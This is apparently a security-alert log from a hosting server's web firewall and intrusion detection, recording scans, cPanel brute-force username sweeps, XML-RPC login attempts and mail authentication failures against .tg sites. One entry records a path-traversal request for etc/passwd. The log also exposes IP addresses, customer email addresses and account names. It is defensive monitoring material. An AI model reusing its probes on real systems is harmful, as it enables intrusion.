rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.174.44.196
country_id: 1210997
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/btp-et-medias-une-synergie-pour-la-transparence/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.174.169.76
country_id: 6252001
description:
[2026-06-26 16:21:17 +0000] info [cpaneld] 107.174.169.76 NEW wcnyaruu:fq4mrfo29RN2PVQC address=107.174.169.76,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.170.43.53
country_id: 2363686
domain: leadelles.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/index.php/wp-json/wp/v2/users/3?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.77.220.146
country_id: 6252001
description:
47.77.220.146 - - [26/Jun/2026:16:23:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9882520&pdata=http%253A%252F%252F154.70.82.249&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782490977 HTTP/1.1" 302 0 154.70.82.249 "http://154.70.82.249/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.77.220.146


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.77.220.146
country_id: 6252001
description:
47.77.220.146 - - [26/Jun/2026:16:23:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13146057&pdata=http%253A%252F%252F154.70.82.249&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782490988 HTTP/1.1" 302 0 154.70.82.249 "http://154.70.82.249/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.77.220.146


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.198.95.15
country_id: 1694008
description:
2026-06-26 16:24:09 dovecot_plain authenticator failed for H=(localhost) [112.198.95.15]:44482: 535 Incorrect authentication data (set_id=rappels@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.186.5.147
country_id: 798544
description:
Jun 26 16:23:24 ns5 auth[393837]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.186.5.147 has been locked due to Imunify RBL


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 159.253.248.188
country_id: 2510769
domain: oliane.free.netmaster.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Ajatovivi1994.oliane.free.netmaster.tg||Method:wp.getUsersBlogs


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 104.232.222.55
country_id: 2802361
domain: www.butodra.tg
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 12; SM-G990U2 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Mobile Safari/537.36 musical_ly_2023109030 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/31.9.3 ByteLocale/en ByteFullLocale/en Region/JM AppId/1233 Spark/1.4.3.5-bugfix AppVersion/31.9.3 BytedanceWebview/d8a21c6||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 159.253.248.179
country_id: 2510769
domain: lacs1.mairie.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Aimeagle@2020.lacs1.mairie.tg||Method:wp.getUsersBlogs


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.170.43.53
country_id: 2363686
domain: leadelles.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/index.php/wp-json/wp/v2/users/me?_locale=user||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 183.225.31.105
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1353533442 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 89.248.171.23
country_id: 2750405
description:
89.248.171.23 - - [26/Jun/2026:16:31:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184390&pdata=http%253A%252F%252Fwww.zephyr.tg%252Ftemplatezep.php%253Fpg%253D...etc%252Fpasswd&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782491513 HTTP/1.1" 302 0 www.zephyr.tg "http://www.zephyr.tg/templatezep.php?pg=...etc/passwd" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:89.248.171.23


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.33.127
country_id: 99237
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/event/fete-traditionnelle-evala-2023 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 51.83.4.64
country_id: 3017382
description:
[2026-06-26 16:34:50 +0000] info [cpaneld] 51.83.4.64 NEW ifxmoxbf:E9MonpZlFsBoxjYk address=51.83.4.64,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 51.83.5.75
country_id: 3017382
description:
[2026-06-26 16:34:59 +0000] info [cpaneld] 51.83.5.75 NEW ifxmoxbf:I5Xf3zOLAYPdxWEE address=51.83.5.75,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.6.132
country_id: 2395170
description:
Jun 26 16:35:53 ns5 auth[393837]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.6.132 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 54.91.104.16
country_id: 6252001
domain: www.snb.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/108.0.5351.0 Safari/537.36||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 213.171.214.247
country_id: 2635167
description:
[2026-06-26 16:35:29 +0000] info [cpaneld] 213.171.214.247 NEW ifxmoxbf:cbdpAb_zuqy0sAaR address=213.171.214.247,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 145.255.160.21
country_id: 1522867
description:
2026-06-26 16:36:40 H=([145.255.160.21]) [145.255.160.21]:28428 F=<prakash@white-ways.com> rejected RCPT <prakash@white-ways.com>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.87.212.184
country_id: 2921044
description:
45.87.212.184 - - [26/Jun/2026:16:37:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13197462&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782491852 HTTP/2.0" 302 0 togofarm.tg "https://togofarm.tg/fr/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.87.212.184


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 149.50.204.243
country_id: 3658394
description:
149.50.204.243 - - [26/Jun/2026:16:38:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6997656&pdata=https%253A%252F%252Fcfpj.tg%252Fkeoo-226051vetid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782491923 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/keoo-226051vetid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:149.50.204.243


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.61.43.159
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1816711992 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.40.112
country_id: 6251999
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.239.40.112||TA:104.239.40.112||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 217.117.166.196
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:217.117.166.196||TA:217.117.166.196||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.88.239
country_id: 3895114
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.239.88.239||TA:104.239.88.239||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.250.204.32
country_id: 3144096
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.250.204.32||TA:104.250.204.32||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 145.255.160.21
country_id: 1522867
description:
2026-06-26 16:41:45 H=([145.255.160.21]) [145.255.160.21]:30785 F=<prakash@white-ways.com> rejected RCPT <prakash@white-ways.com>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.196.85.224
country_id: 3469034
description:
[2026-06-26 16:42:03 +0000] info [cpaneld] 168.196.85.224 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.209.211.57
country_id: 2921044
description:
[2026-06-26 16:42:05 +0000] info [cpaneld] 92.209.211.57 - zontalomemillenium "GET /login/?login_only=1&user=zontalomemillenium&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zontalomemillenium (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.249.132.125
country_id: 3469034
description:
[2026-06-26 16:42:10 +0000] info [cpaneld] 186.249.132.125 - zontalomemilleniumtg "GET /login/?login_only=1&user=zontalomemilleniumtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zontalomemilleniumtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.82.91.192
country_id: 3469034
description:
[2026-06-26 16:42:18 +0000] info [cpaneld] 170.82.91.192 - zontal "GET /login/?login_only=1&user=zontal&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zontal (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-26 16:42:52 +0000] info [webmaild] 160.242.195.10 - kahare@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.143.11
country_id: 3658394
description:
[2026-06-26 16:42:12 +0000] info [cpaneld] 157.100.143.11 - zontalom "GET /login/?login_only=1&user=zontalom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zontalom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.46.39.113
country_id: 3865483
description:
[2026-06-26 16:42:32 +0000] info [cpaneld] 181.46.39.113 - zo "GET /login/?login_only=1&user=zo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.99.197.50
country_id: 290557
description:
[2026-06-26 16:42:15 +0000] info [cpaneld] 86.99.197.50 - zontalo "GET /login/?login_only=1&user=zontalo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zontalo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.63.24.70
country_id: 3686110
description:
[2026-06-26 16:42:23 +0000] info [cpaneld] 181.63.24.70 - zonta "GET /login/?login_only=1&user=zonta&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zonta (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.119.184.34
country_id: 3658394
description:
[2026-06-26 16:42:26 +0000] info [cpaneld] 181.119.184.34 - zont "GET /login/?login_only=1&user=zont&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user zont (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-26 16:43:04 +0000] info [webmaild] 160.242.195.10 - kahare@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.163.148.58
country_id: 1562822
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/prubeneficial.tg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 105.76.185.180
country_id: 2542007
domain: scafricaplc.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:41681.scafricaplc.com||ServerName:scafricaplc.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:92a9bd3864923878da8c921289f6d19eabaa3113||Title:0x2d3eef54||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 104.243.197.123
country_id: 2661886
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:page_title||MV:Revalorisation des sites touristiques : la cascade de Wom\xc3\xa9 va \xc3\xaatre enjoliv\xc3\xa9e||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.43.212.168
country_id: 3895114
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/anpe-15-000-chercheurs-demploi-accompagnes/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.83.110.218
country_id: 6252001
description:
[2026-06-26 16:44:35 +0000] info [cpaneld] 54.83.110.218 - cpsess8573661731 "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cpsess8573661731 (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.228.21.42
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/915304094 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 202.79.191.192
country_id: 1512440
domain: ca-togo.org
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/www.nsiassurancestogo.com||User:egjvuiox||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.244.169.206
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/anpe-15-000-chercheurs-demploi-accompagnes/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.79.191.192
country_id: 1512440
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/www.nsiassurancestogo.com HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 1.36.108.202
country_id: 1819730
description:
[2026-06-26 16:45:46 +0000] info [cpaneld] 1.36.108.202 - snb "GET /login/?login_only=1&user=snb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user snb (has_cpuser_file failed)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - ingersarlu@inger.tg [06/26/2026:16:48:21 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: ingersarlu@inger.tg


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.179.106.103
country_id: 2542007
description:
[2026-06-26 16:50:28 +0000] info [cpaneld] 160.179.106.103 - mftogo "GET /login/?login_only=1&user=mftogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mftogo (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.112.101
country_id: 2363686
description:
[2026-06-26 16:50:58 +0000] info [webmaild] 196.168.112.101 - chef.dgi@ucao-uut.tg "POST /cpsess4050956846/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.185.236.163
country_id: 953987
description:
[2026-06-26 16:50:31 +0000] info [cpaneld] 197.185.236.163 - mftogotg "GET /login/?login_only=1&user=mftogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mftogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.53.63.68
country_id: 3508796
description:
[2026-06-26 16:50:41 +0000] info [cpaneld] 179.53.63.68 - mfto "GET /login/?login_only=1&user=mfto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mfto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 131.255.177.25
country_id: 3469034
description:
[2026-06-26 16:50:44 +0000] info [cpaneld] 131.255.177.25 - mft "GET /login/?login_only=1&user=mft&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mft (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 198.163.193.171
country_id: 1512440
description:
[2026-06-26 16:50:46 +0000] info [cpaneld] 198.163.193.171 - mf "GET /login/?login_only=1&user=mf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mf (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.184.243.251
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1409949059 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.112.101
country_id: 2363686
description:
[2026-06-26 16:51:58 +0000] info [webmaild] 196.168.112.101 - chef.dgi@ucao-uut.tg "POST /cpsess4050956846/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 138.197.102.82
country_id: 6252001
domain: kpmg.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/149.0.0.0 Safari/537.36||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.164.114.204
country_id: 2921044
description:
104.164.114.204 - - [26/Jun/2026:16:53:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6906524&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fles-militaires-mettent-en-garde-la-cedeao%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782492787 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/les-militaires-mettent-en-garde-la-cedeao/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.5482.1237 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.164.114.204


plugin: ossec
rule: 11309
name: FTP Authentication success.
abuser: 20.161.78.65
country_id: 6252001
description:
Jun 26 16:52:19 ns5 pure-ftpd[523834]: (?@20.161.78.65) [INFO] administrateur@mig.tg is now logged in


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 20.161.78.65
country_id: 6252001
description:
Jun 26 16:52:22 ns5 pure-ftpd[523834]: (administrateur@mig.tg@20.161.78.65) [NOTICE] //home/emupgdkn/migFTP/public_html/mig_consulting/.ftp-deploy-sync-state.json uploaded  (18820 bytes, 52.53KB/sec)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [26/Jun/2026:16:53:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262932&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782492818 HTTP/2.0" 302 0 togofarm.tg "https://togofarm.tg/fr/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.112.101
country_id: 2363686
description:
[2026-06-26 16:53:52 +0000] info [webmaild] 196.168.112.101 - chef.dgi@ucao-uut.tg "POST /cpsess4050956846/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 157.66.56.108
country_id: 1643084
domain: sia-togo.tg
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/defunct.dat||User:qfaclpeg||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-26 16:54:49 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:50378: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 112.36.244.198
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/11/IMG-20211107-WA0122.jpg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.162.228.133
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/11/IMG-20211104-WA0051.jpg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.181.148.223
country_id: 2635167
domain: letabloid.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:107.181.148.223||TA:107.181.148.223||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.96.208.200
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/11/IMG-20211101-WA0077.jpg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 171.34.213.130
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/11/t\xc3\xa9l\xc3\xa9chargement-27.jpeg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.174.134.228
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/2027462974 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.83.110.218
country_id: 6252001
description:
[2026-06-26 16:57:26 +0000] info [cpaneld] 54.83.110.218 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 191.96.170.198
country_id: 2658434
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:191.96.170.198||TA:191.96.170.198||


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 52.225.96.39
country_id: 6252001
description:
Jun 26 17:00:06 ns5 pure-ftpd[528390]: (administrateur@mig.tg@52.225.96.39) [NOTICE] //home/emupgdkn/migFTP/public_html/mig_consulting/resources/views/services.blade.php uploaded  (5382 bytes, 22.10KB/sec)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-06-26 16:59:35 dovecot_login authenticator failed for H=([173.17.162.9]) [41.219.149.74]:51503: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 117.181.66.242
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/588879598 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 161.123.215.213
country_id: 2077456
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:161.123.215.213||TA:161.123.215.213||


plugin: ossec
rule: 11309
name: FTP Authentication success.
abuser: 52.225.96.39
country_id: 6252001
description:
Jun 26 17:00:02 ns5 pure-ftpd[528390]: (?@52.225.96.39) [INFO] administrateur@mig.tg is now logged in


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.66.144.111
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/861243925 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.75.230.150
country_id: 2802361
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:103.75.230.150||TA:103.75.230.150||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.196.254.17
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/e2affaa0f83d9c44300f73b8385e1610_L-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/e2affaa0f83d9c44300f73b8385e1610_L.jpg 500w HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 140.99.197.181
country_id: 3017382
domain: togodailynews.tg
description:
